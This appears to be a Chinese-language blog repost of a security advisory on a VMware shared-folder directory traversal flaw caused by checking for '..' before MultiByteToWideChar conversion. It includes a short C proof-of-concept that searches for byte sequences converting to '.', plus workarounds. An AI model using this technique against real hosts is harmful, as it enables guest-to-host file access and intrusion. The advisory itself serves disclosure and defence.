入侵虛擬機宿主系統新法 ─ VMware產品共享文件夾MultiByteToWideChar()變量目錄遍歷漏洞

VMware的共享文件夾機制存在目錄遍歷漏洞,執行於Guest系統上的程式可以利用此漏洞啟動Host系統的文件。VMware的共享文件夾允許用戶在Guest和Host系統之間傳輸數據,該機制允許Guest系統的用戶讀寫任意部分的Host文件系統,包括系統文件夾和其他敏感文件。

受影響系統:
VMWare VMWare Workstation 6.0.2
VMWare VMWare Workstation 5.5.4
VMWare ACE 2.0.2
VMWare ACE 1.0.2
VMWare Player 2.0.2
VMWare Player 1.0.4

詳細:
該漏洞的起因是用於在Guest系統中提供共享文件夾功能的VMware API處理PathName參數的方式。在確認PathName參數不包含有0x2e0x2e(翻譯為ASCII子字符「..」)字符串後,就會將其從多個字節字符串轉換為寬字符字符串,然後將所生成的寬字符字符串傳送給Host系統上的系統文件API。這個轉換是使用Windows API的MultiByteToWideChar函數實現的。由於驗證「..」字符串是在轉換輸入字符串之前執行的,因此Guest系統上的惡意程序或用戶提供的PathName可以通過驗證,但在調用MultiByteToWideChar之後仍可能映射為包含有Unicode UTF-16版本的「..」字符串。

攻擊方法:
【警告】以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

/-----------
// mbtwc.c
#include ;
int main(int argv, char *argc[]) {
~ unsigned int i, ans;
~ unsigned char buf[200];
~ for (i=1;i;i++) {
~ memset(buf, 0, 200);
~ ans = MultiByteToWideChar(CP_UTF8, 8, &i, 4, buf, 100);
~ // 8 = MB_ERR_INVALID_CHARS
~ if (ans && (buf[0] == '.') && (buf[1] == 0) &&
~ ((i & 0xff) != '.'))
~ printf("%d %04x: %02x %02x %02x %02x\n", ans, i,
~ buf[0], buf[1], buf[2], buf[3]);
}
~ }
- -----------/

臨時解決方法:

如果您不能立刻安裝補丁或升級VMWare,建議您採取以下措施以降低威脅。

在本機設定中禁用共享文件夾:
從VMware產品選單中開啟 Edit ==>> Preferences
在Workspace標籤的Virtual Machines下,取消選擇Enable複選框。

如果要對單個虛擬機設定禁用共享文件夾:
從VMware產品的菜單選擇 VM ==>> Settings
在Options標籤中,選擇Shared Folders然後勾選Disable。


0 意見:

張貼留言